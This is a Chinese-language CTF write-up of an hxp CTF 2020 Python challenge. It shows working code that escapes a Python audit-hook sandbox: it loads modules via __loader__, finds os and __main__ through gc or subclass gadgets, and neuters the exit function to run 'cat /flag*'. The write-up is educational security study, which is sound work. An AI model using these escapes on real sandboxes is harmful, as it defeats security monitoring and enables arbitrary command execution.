1. 前言

更新时间 更新内容
2020-12-26 初稿
2020-12-27 第二种利用方式

上周末打了一下hxp ctf[1]. 因为和考试撞了所以就看了一个题, 也没做出来. 赛后看大佬们的wp还是挺有意思的. 通过这个题目学到了很多新知识, 记录并分享一下.

2. 正文

这是一个python pwn. 题目附件中有服务端如下(python版本是的最新python 3.9):

#!/usr/bin/python3 -u

import sys
from os import _exit as __exit

def audit(name, args):
    if not audit.did_exec and name == 'exec':
        audit.did_exec = True
    else:
        __exit(1)
audit.did_exec = False

sys.stdout.write('> ')
try:
    code = compile(sys.stdin.read(), '<user input>', 'exec')
except:
    __exit(1)
sys.stdin.close()

for module in set(sys.modules.keys()):
    if module in sys.modules:
        del sys.modules[module]

sys.addaudithook(audit)

namespace = {}
try:
    exec(code, namespace, namespace)
except:
    __exit(1)
__exit(0)

题目用到了python 3.8中新引入的一个特性: audit[2]. 用户可以通过 sys.addaudithook 添加一个 audit hook 函数, 之后在执行过程中遇到某些事件(如import 某个 module)时就会触发这个 audit hook 函数, 并把对应事件类型和参数传给该audit hook 函数. cpython中有一些列事件默认会触发 audit hook 函数(详见[3]). 用户也可以通过sys.audit(event, args)来触发audit hook 函数. 这个特性的本意是为了使得python的执行过程对管理人员队更透明的.

本题中会将用户输出的代码编译执行, 不过有两个限制操作:

  1. sys.modules 中的module都del
  2. 有个audit hook函数, 只允许一次exec, 否则就会调用__exit(1)

当时看到这儿时我就猜测是不是有什么绕过audit的骚操作, 还真搜到一个视频[4]. 视频中老哥的思路是修改内存中python解释器的关于调用audit hook那部分的代码. 在修改过程中必然要触发好几次audit hook函数, 显然无法使用.

赛后看来两位师傅的writeup[5][6]. 学到了很多.

大致思路如下:

  1. 修改__exit为一个无效函数
  2. 想办法拿到os模块
  3. os.system("cat /flag*")

接下来我们就看看如何具体实现

2.1. 修改 __exit 为无效函数

我们使用如下代码进行测试

import sys
from os import _exit as __exit

def audit(name, args):
    print(f"[*] {name} {args}")
    if not audit.did_exec and name == 'exec':
        audit.did_exec = True
    else:
        __exit(1)
audit.did_exec = False

tmp = """
"""

code = compile(tmp, '<user input>', 'exec')
sys.addaudithook(audit)
exec(code, {}, {})

我们的目的是构造一段代码, 使其仅触发一次audit函数就将__exit修改成一个无用函数.

通过查看exec()的文档[7]可以发现下面这一段:

If the globals dictionary does not contain a value for the key __builtins__, a reference to the dictionary of the built-in module builtins is inserted under that key. That way you can control what builtins are available to the executed code by inserting your own __builtins__ dictionary into globals before passing it to exec().

因此我们可以使用如下语句加载sys模块(来自fab1ano师傅的思路[5])

sys = __builtins__["__loader__"].load_module('sys')

我们可以构造代码如下

tmp = """
sys = __builtins__["__loader__"].load_module('sys')
sys.modules['__main__'].__exit = lambda x : print("[+] bypassed!")
import os
os.system("id")
"""

执行发现可以成功将__exit替换:

[*] exec (<code object <module> at 0x7ffff77d85b0, file "<user input>", line 2>,)
[*] os.system (b'id',)
[+] bypassed!
...

至此我们就可以任意次触发 audit 函数而不用担心程序退出了, 接下来我们要做的解决sys.modules被删除的问题.

2.2. 想办法拿到os模块

关于sys.modules的作用[8]中是这么说的:

Python import 的步骤 python 所有加载的模块信息都存放在 sys.modules 结构中,当 import 一个模块时,会按如下步骤来进行 如果是 import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A 如果是 from A import B,先为 A 创建 module 对象,再解析A,从中寻找B并填充到 A 的 dict 中

我们更新测试代码, 加入删除sys.modules代码:

import sys
from os import _exit as __exit

def audit(name, args):
    print(f"[*] {name} {args}")
    if not audit.did_exec and name == 'exec':
        audit.did_exec = True
    else:
        __exit(1)
audit.did_exec = False

tmp = """
"""

code = compile(tmp, '<user input>', 'exec')
for module in set(sys.modules.keys()):
    if module in sys.modules:
        del sys.modules[module]
sys.addaudithook(audit)
exec(code, {}, {})

此时再使用之前的解法就会报错.

  1. sys.modules 中的 __main__被删除了, 所以这个语句sys.modules['__main__']会报错.
  2. os模块也被从sys.modules中删除了, 所以此时执行import ospython会找到os.py执行并导入模块, 这个过程中会触发多次 audit hook函数.

下面时报错信息.

[*] exec (<code object <module> at 0x7ffff77d85b0, file "<user input>", line 2>,)
[*] sys.excepthook (<built-in function excepthook>, <class 'KeyError'>, KeyError('__main__'), <traceback object at 0x7ffff77d7d40>)

我们无法引用sys.modules["__main__"]了, 对此fab1ano师傅的做法是使用gc(又学到了). 而且通过搜索gc中的对象, 可以将__main__os都定位到.

最终代码如下:

tmp = """
sys = __builtins__['__loader__'].load_module('sys')
gc = __builtins__['__loader__'].load_module('gc')
print('Searching for modules __main__ and os in garbage collector objects')
for obj in gc.get_objects():
    if '__name__' in dir(obj):
        if '__main__' in obj.__name__:
            print('Found module __main__')
            mod_main = obj
        if 'os' == obj.__name__:
            print('Found module os')
            mod_os = obj
mod_main.__exit = lambda x : print("[+] bypass")
mod_os.system("id")
"""

成功 bypass 并执行命令;

Searching for modules __main__ and os in garbage collector objects
Found module __main__
Found module os
[*] os.system (b'id',)
[+] bypass
...

2.3. another way

hstocks师傅使用的另外一种方法来引入 sysos 模块, 这个方法好像在沙箱逃逸时挺常用的, 不过classes的索引在不同版本的python中好像不一样, 具体原理还不清楚.

classes = ''.__class__.__base__.__subclasses__()
sys = classes[133].__init__.__globals__['sys']
os = classes[94].__init__.__globals__['_os']

写了个脚本, 用来搜索可以用这个方法导入的模块. (因为不同python版本的偏移可以不一样)

classes = ''.__class__.__base__.__subclasses__()

sys_not_found = True
os_not_found = True

for (idx, c) in enumerate(classes):
    i = c.__init__
    if "__globals__" not in dir(i):
        continue
    g = i.__globals__
    if sys_not_found and 'sys' in g:
        print(f"sys = classes[{idx}].__init__.__globals__['sys']")
        sys = g['sys']
        sys_not_found = False
    if os_not_found and 'os' in g:
        print(f"os = classes[{idx}].__init__.__globals__['os']")
        os = g['os']
        os_not_found = False
    if os_not_found and '_os' in g:
        print(f"os = classes[{idx}].__init__.__globals__['_os']")
        os = g['_os']
        os_not_found = False
    if sys_not_found or os_not_found:
        continue
    break
print(sys)
print(os)
os.system("echo hello wxk")

定位到__main__模块的方法是通过触发报错然后在调用栈(tarceback)上搜索(又学到了)

代码如下:

try:
    raise Exception()
except Exception as e:
    _, _, tb = sys.exc_info()
    nxt_frame = tb.tb_frame

    # Walk up stack frames until we find one which
    # has a reference to the audit function
    while nxt_frame:
        if 'audit' in nxt_frame.f_globals:
            break
        nxt_frame = nxt_frame.f_back

    # Neuter the __exit function
    nxt_frame.f_globals['__exit'] = print

    # Now we're free to call whatever we want
    os.system('cat /flag*')

3. 结语

通过这个题目学到了很多骚操作.

  1. 通过修改函数绕过 audit
  2. 通过 __builtins__['__loader__'].load_module('sys') 导入模块
  3. 通过 gc 绕过对 sys.modules 的删除
  4. 通过 ''.__class__.__base__.__subclasses__() 来导入模块
  5. 通过报错然后搜索traceback来定位 __main__

而且还有个很有意思的事情, python的文档中说明object.__setattr__, object.__getattr__object.__delattr__三个事件默认会触发 audit hook的, 但是我在 python 3.9.0 下测试发现这三个事件都不会触发 audit hook 函数, 很奇怪, 测试代码如下:

import sys

def audit(name, args):
    print(f"[*] {name} {args}")

tmp = """
class A():
    def __init__(self):
        self.a = 'a'
a = A()
object.__getattribute__(a, 'a')
object.__setattr__(a, 'a', 'aa')
object.__delattr__(a, 'a')
"""

code = compile(tmp, '<user input>', 'exec')
sys.addaudithook(audit)
exec(code, {}, {})

4. 参考

  1. hxp CTF 2020 – ctftime.org
  2. Python Runtime Audit Hooks – PEP 578
  3. Audit events table – python doc
  4. Bypassing Python3.8 Audit Hooks – youtube
  5. writeup by fab1ano – github
  6. writeup by hstocks – github
  7. exec()– python doc
  8. Python沙箱逃逸的n种姿势 – 先知社区
  9. sys.modules – python doc
  10. sys.exc_info – python doc
  11. Python沙箱逃逸总结 – HatBoy